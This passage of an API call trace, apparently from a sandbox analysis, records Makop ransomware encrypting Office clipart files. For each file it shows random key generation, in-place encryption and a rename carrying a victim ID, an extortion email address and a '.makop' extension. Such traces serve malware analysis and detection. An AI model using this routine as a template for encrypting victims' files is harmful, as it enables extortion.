office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.684] GetProcessHeap () returned 0x48a0000 [0125.684] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.684] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.684] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.684] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.689] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.689] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.689] GetProcessHeap () returned 0x48a0000 [0125.689] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.689] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.689] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.689] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.689] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.689] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.689] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.690] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.690] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.690] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.690] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.690] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.690] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4238, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4238, lpOverlapped=0x0) returned 1 [0125.692] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4240, dwBufLen=0x4240 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4240) returned 1 [0125.692] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.692] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4240, lpOverlapped=0x0) returned 1 [0125.692] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.692] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.693] SetEndOfFile (hFile=0xf0) returned 1 [0125.699] GetProcessHeap () returned 0x48a0000 [0125.699] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.699] GetProcessHeap () returned 0x48a0000 [0125.699] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.700] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.701] CloseHandle (hObject=0xf0) returned 1 [0125.701] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4464, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153398.WMF", cAlternateFileName="")) returned 1 [0125.701] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0125.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.703] GetProcessHeap () returned 0x48a0000 [0125.703] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.703] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.704] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.704] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0125.708] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.708] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.708] GetProcessHeap () returned 0x48a0000 [0125.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.708] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.708] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.708] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.709] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.709] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.709] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.709] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.709] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.709] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.710] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.710] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.710] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4464, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4464, lpOverlapped=0x0) returned 1 [0125.711] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4470, dwBufLen=0x4470 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4470) returned 1 [0125.712] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.712] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4470, lpOverlapped=0x0) returned 1 [0125.712] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.712] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.712] SetEndOfFile (hFile=0xf0) returned 1 [0125.720] GetProcessHeap () returned 0x48a0000 [0125.720] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.720] GetProcessHeap () returned 0x48a0000 [0125.720] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.720] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.720] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.722] CloseHandle (hObject=0xf0) returned 1 [0125.722] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153508.WMF", cAlternateFileName="")) returned 1 [0125.722] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0125.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.725] GetProcessHeap () returned 0x48a0000 [0125.725] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.725] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.725] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.725] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.725] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.725] GetProcessHeap () returned 0x48a0000 [0125.725] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.725] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.725] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.725] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.730] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.730] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.730] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.730] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.730] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.730] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.730] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.731] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.731] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x85d0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x85d0, lpOverlapped=0x0) returned 1 [0125.733] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x85d0, dwBufLen=0x85d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x85d0) returned 1 [0125.734] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.734] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x85d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x85d0, lpOverlapped=0x0) returned 1 [0125.734] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.734] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x86a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.735] SetEndOfFile (hFile=0xf0) returned 1 [0125.742] GetProcessHeap () returned 0x48a0000 [0125.742] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.742] GetProcessHeap () returned 0x48a0000 [0125.742] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.742] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.743] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.744] CloseHandle (hObject=0xf0) returned 1 [0125.744] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x31d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153514.WMF", cAlternateFileName="")) returned 1 [0125.744] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0125.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.745] GetProcessHeap () returned 0x48a0000 [0125.745] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.745] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.745] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.745] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.745] GetProcessHeap () returned 0x48a0000 [0125.746] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.746] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.746] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.746] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.750] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.751] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.751] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.751] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.751] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.751] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.751] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.751] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.751] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x31d0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x31d0, lpOverlapped=0x0) returned 1 [0125.753] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31d0, dwBufLen=0x31d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31d0) returned 1 [0125.753] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.754] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x31d0, lpOverlapped=0x0) returned 1 [0125.754] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.754] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x32a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.754] SetEndOfFile (hFile=0xf0) returned 1 [0125.761] GetProcessHeap () returned 0x48a0000 [0125.761] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.761] GetProcessHeap () returned 0x48a0000 [0125.761] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.761] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.770] CloseHandle (hObject=0xf0) returned 1 [0125.771] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153516.WMF", cAlternateFileName="")) returned 1 [0125.771] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0125.771] CreateFileW 